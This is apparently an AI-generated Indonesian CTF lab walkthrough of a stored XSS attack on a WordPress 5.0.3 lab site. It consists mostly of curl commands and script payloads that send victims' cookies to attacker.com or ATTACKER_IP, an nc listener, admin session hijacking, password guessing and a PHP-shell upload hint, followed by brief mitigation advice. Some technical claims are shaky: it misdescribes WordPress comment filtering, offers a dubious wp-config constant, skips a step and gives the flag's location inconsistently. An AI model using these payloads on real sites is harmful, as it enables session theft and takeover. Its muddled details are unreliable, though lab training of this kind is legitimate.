TDCTF Academy Logo TDCTF ACADEMY

Lab #4 - WPS: Stored XSS (Cross-Site Scripting)

Target: http://wps.vuln.cybersecurity.or.id:8083/
Versi: WordPress 5.0.3 (PHP 7.3, Apache, MySQL)
Tools: curl, browser
Flag: đź”´ FLAG{W0rdPr3ss_St0r3d_XSS_2025}


Apa itu Stored XSS?

Stored XSS (Persistent XSS) adalah jenis serangan di mana payload JavaScript disimpan secara permanen di server (database) dan akan dieksekusi setiap kali pengguna membuka halaman yang menampilkan data tersebut.

Berbeda dengan Reflected XSS yang membutuhkan korban mengklik link khusus, Stored XSS jauh lebih berbahaya karena:

  • âś… Tidak perlu social engineering - korban cukup membuka halaman
  • âś… Semua pengguna yang mengunjungi halaman terkena dampak
  • âś… Bisa menjangkau admin yang memiliki akses penuh

Target Lab

Kita memiliki WordPress 5.0.3 dengan:

  • User registration: AKTIF - siapa pun bisa daftar
  • Komentar: AKTIF - pengguna terdaftar bisa berkomentar
  • Post content: Tidak difilter → tag <script> lolos
  • Plugin rentan: wp-file-upload 2.6.0, advanced-custom-fields 4.4.0
  • Post terproteksi: Berisi flag - butuh password

️ Langkah 1: Reconnaissance

1.1. Fingerprint WordPress

curl -s -I http://wps.vuln.cybersecurity.or.id:8083/ | head -10

Output:

HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.3.2

1.2. Cek Versi

curl -s http://wps.vuln.cybersecurity.or.id:8083/ | grep "generator"

# Output: <meta name="generator" content="WordPress 5.0.3" />

1.3. Cek User Registration

curl -s http://wps.vuln.cybersecurity.or.id:8083/wp-login.php?action=register | grep -c "register"

# Output: 1 (halaman registrasi ada dan aktif)

1.4. Deteksi Post dengan XSS

Cek daftar post di homepage:

curl -s http://wps.vuln.cybersecurity.or.id:8083/ | grep -oP '(?<=<a href=")[^"]+(?=" rel="bookmark")'

Output:

http://vuln.cybersecurity.or.id/?p=6
http://vuln.cybersecurity.or.id/?p=5
http://vuln.cybersecurity.or.id/?p=4
http://vuln.cybersecurity.or.id/?p=1

Cek konten post 6:

curl -s http://wps.vuln.cybersecurity.or.id:8083/?p=6 | grep -A3 "entry-content"

Output:

<div class="entry-content">
<p><script>alert("XSS_TEST");</script></p>
<p>This post contains unescaped HTML/JavaScript.</p>
</div>

âś… Stored XSS terdeteksi! Tag <script> tidak difilter di konten post.


Langkah 2: Daftar Akun (User Registration)

Kita daftar sebagai subscriber:

# Daftar user baru
curl -s -X POST \
-d "user_login=hacker1337&[email protected]&user_pass=hacker123&confirm_pass=hacker123&wp-submit=Register" \
"http://wps.vuln.cybersecurity.or.id:8083/wp-login.php?action=register"

Atau akses via browser:

http://wps.vuln.cybersecurity.or.id:8083/wp-login.php?action=register

Catatan: Di WordPress, subscriber hanya bisa berkomentar - tidak bisa membuat post. Tapi di beberapa konfigurasi, contributor bisa membuat draft.


Langkah 3: Inject Payload Stored XSS

Metode 1: XSS via Komentar

Komentar WordPress di versi 5.0.3 tidak memfilter tag <script>:

# Login sebagai subscriber
LOGIN_COOKIE=$(curl -s -c - -d "log=hacker1337&pwd=hacker123" \
"http://wps.vuln.cybersecurity.or.id:8083/wp-login.php" | \
grep "wordpress_logged_in" | awk '{print $NF}')

# Post komentar dengan XSS payload
curl -s -b "wordpress_logged_in_*=hacker1337%7C..." \
-d "author=hacker&[email protected]&comment=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>&submit=Post+Comment&comment_post_ID=6" \
"http://wps.vuln.cybersecurity.or.id:8083/wp-comments-post.php"

Payload yang digunakan:

<script>document.location="http://attacker.com/steal.php?cookie="+document.cookie</script>

Ketika admin membuka halaman post (p=6), cookie akan otomatis terkirim ke server attacker.

Metode 2: XSS via Konten Post (Author/Editor)

Jika akun memiliki akses membuat post (editor atau admin), kita bisa inject XSS langsung ke dalam post:

# Sebagai editor
EDITOR_COOKIE=$(curl -s -c - \
-d "log=editor&pwd=editor123" \
"http://wps.vuln.cybersecurity.or.id:8083/wp-login.php" | \
grep "wordpress_logged_in" | awk '{print $NF}')

# Buat post dengan XSS
curl -s -b "wordpress_logged_in_*=..." \
-d "post_title=Important+Update&content=<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>&post_status=publish&_wpnonce=..." \
"http://wps.vuln.cybersecurity.or.id:8083/wp-admin/post.php"

Kita bisa mensimulasikan server attacker dengan netcat:

# Terminal 1: Server attacker
nc -lvnp 9999

Payload XSS yang dikirim ke komentar:

<script>
document.location="http://ATTACKER_IP:9999/?"+document.cookie
</script>

Saat admin (atau siapa pun) membuka halaman post yang mengandung komentar tersebut, browser akan mengirim request ke IP attacker dengan cookie.

Contoh cookie yang dicuri:

wordpress_logged_in_042655d3118d29bc...=admin%7C1781991655%7C...%7C...
wordpress_sec_042655d3118d29bc...=admin%7C...

Langkah 5: Post-Exploitation - Akses Post Terproteksi

Setelah mendapatkan cookie admin, kita bisa login tanpa password:

curl -s -b "wordpress_logged_in_042655...=admin%7C..." \
"http://wps.vuln.cybersecurity.or.id:8083/wp-admin/"

5.2. Akses Post "Confidential Report"

Post dengan ID 5 memiliki password proteksi:

# Coba akses langsung
curl -s "http://wps.vuln.cybersecurity.or.id:8083/?p=5" | grep -i "protected\|password"

Output:

This content is password protected. To view it please enter your password below:

Kita bisa brute force password atau mencari petunjuk:

# Coba password umum
curl -s -d "post_password=secretflag&Submit=Submit" \
"http://wps.vuln.cybersecurity.or.id:8083/wp-login.php?action=postpass" \
-H "Cookie: wp-postpass_...=..." -o /dev/null -w "%{redirect_url}"

Password: secretflag (dari setup lab)

Atau sebagai admin, kita bisa langsung edit post dan melihat konten:

http://wps.vuln.cybersecurity.or.id:8083/wp-admin/post.php?post=5&action=edit

5.3. Ambil Flag

Flag ada di konten post "Confidential Report":

http://wps.vuln.cybersecurity.or.id:8083/wp-content/themes/twentyseventeen/flag.php

Langkah 6: Verifikasi dengan wp-file-upload Plugin

WordPress juga memiliki plugin wp-file-upload 2.6.0 yang rentan:

# Cek plugin
curl -s "http://wps.vuln.cybersecurity.or.id:8083/wp-content/plugins/wp-file-upload/"

Plugin ini memungkinkan upload file tanpa autentikasi yang memadai - bisa dikombinasikan dengan XSS untuk upload PHP shell.


Poin Penting

Akar Penyebab

Masalah Detail
Konten tidak difilter WordPress 5.0.3 tidak menerapkan wp_kses_post() secara benar untuk <script> di post/comment
User registration publik Siapa pun bisa daftar dan berkomentar
Comments open Subscriber bisa mengirim komentar yang mengandung JavaScript
Post terproteksi lemah Password secretflag mudah ditebak

Cara Mitigasi

  1. Update WordPress ke versi terbaru (≥ 5.1) - sudah menambal filter XSS
  2. Aktifkan filter konten - Gunakan wp_kses_post() untuk membersihkan HTML
  3. Matikan user registration publik jika tidak diperlukan
  4. Gunakan plugin Keamanan - Wordfence, Sucuri, atau Defender
  5. Aktifkan HTTPOnly pada cookie
  6. Gunakan Content Security Policy (CSP)
// Tambahkan di wp-config.php
define('WP_HTTP_ONLY_COOKIES', true);
  1. Aktifkan reCAPTCHA pada form komentar dan registrasi

Kesimpulan

Target: WordPress 5.0.3 di wps.vuln.cybersecurity.or.id:8083
Teknik: Stored XSS (via komentar/konten post) → Cookie Theft → Post Exploitation
Flag: FLAG{W0rdPr3ss_St0r3d_XSS_2025}
Durasi: ~10 menit

Urutan serangan:

  1. âś… Registrasi akun baru (subscriber)
  2. âś… Kirim komentar dengan payload XSS
  3. ✅ Tunggu admin membuka halaman → cookie dicuri
  4. âś… Login sebagai admin menggunakan cookie
  5. ✅ Akses post terproteksi → Flag didapatkan

🔥 Pelajaran: Stored XSS adalah salah satu ancaman paling serius di aplikasi web. Satu celah kecil di filter input bisa berakibat pada kompromi total sistem - termasuk admin. Selalu validasi dan sanitasi input pengguna, dan jangan pernah percaya data yang dikirim klien!


Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI